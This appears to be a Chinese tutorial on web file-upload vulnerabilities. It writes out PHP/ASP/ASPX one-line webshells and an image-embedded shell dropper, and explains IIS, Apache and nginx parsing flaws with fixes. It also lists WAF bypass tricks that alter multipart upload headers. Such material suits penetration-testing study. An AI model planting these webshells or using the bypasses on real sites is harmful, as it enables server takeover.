一,文件上传漏洞定义
文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。
如果恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。
二,文件上传漏洞原理
通尝来说文件上传功能是没有问题的,主要是服务器如何对上传的文件如何进行处理。
若WEB未对用户上传的文件进行有效的审查,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。
下面是一句话木马的简单介绍
<?php @eval($_POST['attack']);?>简单的一句话木马
常见的一句话木马:php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
这句话什么意思呢?
(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
为什么密码是cmd呢?
那就要来理解这句话的意思了。php里面几个超全局变量:$_GET、$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。
注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)
如何理解eval()函数?
eval()把字符串作为PHP代码执行。】
三,文件上传思路
常规类
扫描获取上传,会员中心头像上传,后台系统上传,其他途径上传。
cms类
已知道的cms源码。
编辑类
ckeditor,fckeditor,kindeditor,xxxxeditor。
其他类/CVE
代码审计,平台或第三方应用。
web界面存在的风险点
上传头像、上传身份认证、上传文件以及有存在文件上传的地方就可能存在相关的漏洞,但不是有文件上传就一定有漏洞,但有文件上传就能进行测试。
文件上传实战思路
上传文件和文件执行是两个东西
漏洞分类:解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)
思路:
如果有一个网站,要从文件上传的方向开始
第一步:先看中间件,看是否存在解析漏洞/CMS/编辑器漏洞/CVE/
如果有,如何找:
字典扫描:扫描会员中心,文件上传的位置
找到后,如何利用:
验证/绕过
四,解析漏洞
1.解析漏洞解释
解析漏洞就是指服务器应用程序在解析某些精心构造的后缀文件的时候,会将相关的文件解析成网页的脚本,从而导致实现控制网站,同时大部分的解析漏洞都是由应用程序产生的。
IIS解析漏洞
IIS5.0/6.0
目录解析
在以. asp文件名的文件夹下的任何文件都将作为asp文件执行。
也就是当目录为XX.asp的时候,那么当访问下面的图片的时候,如XX.aps/1.jpg就会被当作ASP执行。
2,文件解析
如果文件为1.asp;.jpg,由于IIS不解析;后面的内容,使用就会把文件当作1.asp进行解析,同时还存在.asa、.cer、.cdx可以进行解析。
修复建议
1)限制上传目录的执行权限,不允许执行脚本。
2)不允许创建目录。
3)上传的文件进行重命名。
IIS7.0/IIS7.5
IIS7.0/IIS7.5Fast-CGI
在Fast-CGI开启的状态下,在类似1.jpg后面加上/1.php,变成/1.jpg/1.php路径会解析成PHP文件。需要进入php.ini里面修改cig.cgi_ pathinfo=1。
将1.txt文本文件中的后门代码写入到1.jpg图片的二进制代码:
copy 1.jpg/b + 1.txt/a 1.jpg
1.txt的文件内容为:
<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
当在图片文件中写入后门代码,当访问这个图片的时候加上/.php的时候就会在当前目录下生成一句话木马shell.php。
修复建议
配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
apache解析漏洞
apache解析漏洞
在apache1.x和apache2.x中存在解析漏洞。
当一个文件为1.php.yy.xx的时候就会被当作php执行,这是由于在apache解析文件的时候有一个原则就是,以.后面的扩展名来解析,当遇见不认识的扩展名的时候,就会向前解析,直到遇到能够解析的后缀名为止。
如:1.php.yy.xx,首先会解析xx,xx无法解析就会去解析yy,yy无法解析就会去解析php,那么php是能够解析了,那么就会结束。
这种方式多用于绕过黑名单的检查。
修复建议
1)更新至最新版本。
将上传的文件进行重命名。
解析漏洞
nginx<8.03
nginx配置文件错误
由于nginx默认是用cgi解析php的,因此和iis一样可以制作图片马进行上传。
当在图片文件中写入后门代码,当访问这个图片的时候加上/.php的时候就会在当前目录下生成一句话木马shell.php。
修复建议
1)配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
2)或如果需要使用到cgi.fix_pathinfo这个特性(例如:Wordpress),那么可以禁止上传目录的执行脚本权限。 或将上传存储的内容与网站分离,即站库分离。
3)或高版本PHP提供了security.limit_extensions这个配置参数,设置security.limit_extensions = .php
nginx 0.5/0.6/0.7<=0.7.65/0.8<=0.8.37
nginx空字节任意代码执行
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
比如上传一张图片马1.jpg,那么当访问这个图片马的时在1.jpg后面添加%00.php就会将图片马以php执行。
修复建议
1)升级nginx版本。
3,编辑器漏洞
介绍
编辑器也就是在线的web编辑器,比如在搭建博客后需要发布文章,那么用来发布文章的界面就是web编辑器。当然web编辑器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。
五,WAF绕过
5.1.WAF绕过解释
waf绕过其实就是将数据包截获到,对里面的内容进行解析,比如对文件的后缀名就判断是否在相应的黑名单中,文件内容中是否存在webshell代码。
总的来说文件上传都是在数据包中进行各种操作来进行绕过。
5.2.上传参数名解析
Content-Disposition :一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
例如应用bp修改
Content-Type:文件MIME,视情况更改
5.3.绕过方式
5.3.1.数据溢出
5.3.1.1.form-data与name之间
在form-data;与name="upload_file"; filename="2.php"之间添加大量的垃圾数据,可以边添加边测试直到上传上去,主要添加的垃圾数据需要在后面添加一个";"进行结尾。
5.3.1.2.name与filename之间
当然这里不单单可以插入在form-data;与name="upload_file"; filename="2.php"之间,也可以在name="upload_file"; 与filename="2.php"之间。但是数据不能乱插入,比如你插在2.php中,那肯定不行,一般情况下,文件名称长度都可能存在限制,并且太长也上传不上去。
5.3.2.1.filename符号变异
符号变异也就是将单双引号变换使用,或者单双引号缺失一部分进行使用,或者不使用单双引号来进行绕过。目前测试好像是无法通过了。
Content-Disposition: form-data; name="upload_file"; filename="2.php
Content-Disposition: form-data; name="upload_file"; filename='2.php
Content-Disposition: form-data; name="upload_file"; filename=2.php
5.3.2.2.form-data符号变异
Content-Disposition:"form-data"; name=upload_file; filename="2.php"
Content-Disposition:'form-data'; name="upload_file"; filename='2.php'
5.3.3.数据截断
5.3.3.1.回车换行
通过换行来实现绕过,但是中间不能有空行。
5.3.3.2.分号截断
若WAF匹配文件名到分号截止,则可以绕过。
5.3.4.字段名变换
5.3.4.1.大小写变换
对这三个字段进行大小写进行变换,比如将name换成Name、Content-Disposition换成content-disposition等等。
5.3.4.2.顺序颠倒
针对name和filename这两个字段,我们可以尝试交换name和filename的顺序。(由于有规定Content-Dispositon必须在前面,因此我们不能修改该字段的内容)
5.3.5.重复数据
通过设置多个参数进行匹配,避免被匹配到。
Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";
最全的文件上传漏洞之WAF拦截绕过总结:干货 | 最全的文件上传漏洞之WAF拦截绕过总结-腾讯云开发者社区-腾讯云
本文参考了部分csdn大佬写的博客论文,内容仅供参考